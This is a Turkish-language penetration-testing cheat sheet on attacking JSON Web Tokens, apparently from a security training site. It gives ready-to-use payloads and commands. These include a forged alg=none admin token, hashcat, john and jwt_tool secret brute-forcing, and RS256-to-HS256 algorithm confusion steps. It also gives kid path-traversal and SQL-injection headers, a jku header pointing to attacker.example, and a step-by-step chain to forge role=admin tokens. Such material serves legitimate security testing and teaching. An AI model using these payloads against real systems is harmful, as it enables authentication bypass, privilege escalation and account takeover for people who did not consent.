JWT Saldırıları
OWASP A07 difficulty: orta
JWT (JSON Web Token), imzalı/şifreli oturum belirteçleridir. Yanlış imza doğrulaması, zayıf sırlar veya algoritma esnekliği; token sahteciliği ve kimlik atlatmaya yol açar. Analiz için JWT Inspector kullan.
Yapı: base64url(header).base64url(payload).signature
{ "alg": "HS256", "typ": "JWT" }{ "sub": "123", "name": "Ada", "role": "user", "exp": 1710000000 }alg=none
Section titled “alg=none”# {"alg":"none"} / "None" / "NONE" / "nOnE"# İmza boş; sondaki nokta kalsıneyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.Zayıf HMAC secret (HS256)
Section titled “Zayıf HMAC secret (HS256)”hashcat -a 0 -m 16500 jwt.txt rockyou.txtjohn jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256jwt_tool <token> -C -d rockyou.txtjwt_tool <token> -T -S hs256 -p 'secret'Algorithm confusion (RS256 → HS256)
Section titled “Algorithm confusion (RS256 → HS256)”Sunucu asimetrik doğrulama beklerken saldırgan public key’i HMAC secret olarak kullanıp HS256 imzalar.
-
Public key al — /jwks.json , /.well-known/jwks.json , TLS cert, kaynak:
Terminal window curl https://hedef/.well-known/jwks.jsonTerminal window jwt_tool <token> -X a -
Header’ı HS256 yap , payload’da role=admin değiştir.
-
İmzayı public PEM ile HMAC-SHA256 üret — kütüphane pubkey ile verify ediyorsa token kabul edilir.
Header enjeksiyonları (kid / jku / jwk)
Section titled “Header enjeksiyonları (kid / jku / jwk)”{ "alg": "HS256", "kid": "../../dev/null" }{ "alg": "HS256", "kid": "/proc/sys/kernel/randomize_va_space" }{ "kid": "key1' UNION SELECT 'aaaa'--" }{ "alg": "RS256", "jwk": { "kty":"RSA", "n":"...", "e":"AQAB" } }{ "alg": "RS256", "jku": "https://attacker.example/jwks.json" }jwt_tool <token> -I -hc kid -hv '../../dev/null' -S hs256 -p ''jwt_tool <token> -X sjwt_tool <token> -M atClaim manipülasyonu
Section titled “Claim manipülasyonu”□ exp / nbf / iat kontrol edilmiyor → süresi geçmiş token□ aud / iss doğrulanmıyor → başka uygulamanın token'ı□ role / admin / isAdmin → yetki yükseltme□ jti / replay — logout sonrası hâlâ geçerli□ Nested JWT / JWE yanlış katman doğrulama□ typ / cty karışıklığıjwt_tool <token> -I -pc role -pv admin -S hs256 -p 'known'Pratik test sırası
Section titled “Pratik test sırası”1) Decode (Inspector) — alg, claim'ler2) alg=none (+ case)3) HS secret brute4) RS→HS confusion (JWKS varsa)5) kid / jku / jwk6) Claim oynama + geçerli imza ile yetki7) Refresh token / cookie flag'leriCookie / storage notları
Section titled “Cookie / storage notları”□ JWT cookie'de HttpOnly değilse XSS ile çalınır□ localStorage JWT → XSS = hesap□ Authorization: Bearer log/proxy sızıntısı□ Alg header istemciye güvenilerek seçiliyorsa confusion şansı yüksekKomut üreteci
Section titled “Komut üreteci”hashcat · JWT crack
embedded toolGenerated command
hashcat -m 16500 jwt.txt rockyou.txthashcat · JWT crack
Section titled “hashcat · JWT crack”Saldırı zinciri
Section titled “Saldırı zinciri”jwks.json → RS256 → jwt_tool -X a (confusion) → role=admin token → admin APIhashcat 16500 → weak secret → forge any user subHızlı Burp akışı
Section titled “Hızlı Burp akışı”1) JWT Editor / jwt_tool ile decode2) Signature strip (none) → Repeater3) Secret brute (kısa wordlist) → re-sign role=admin4) JWKS URL → confusion otomatik5) kid=../../dev/null + empty HMAC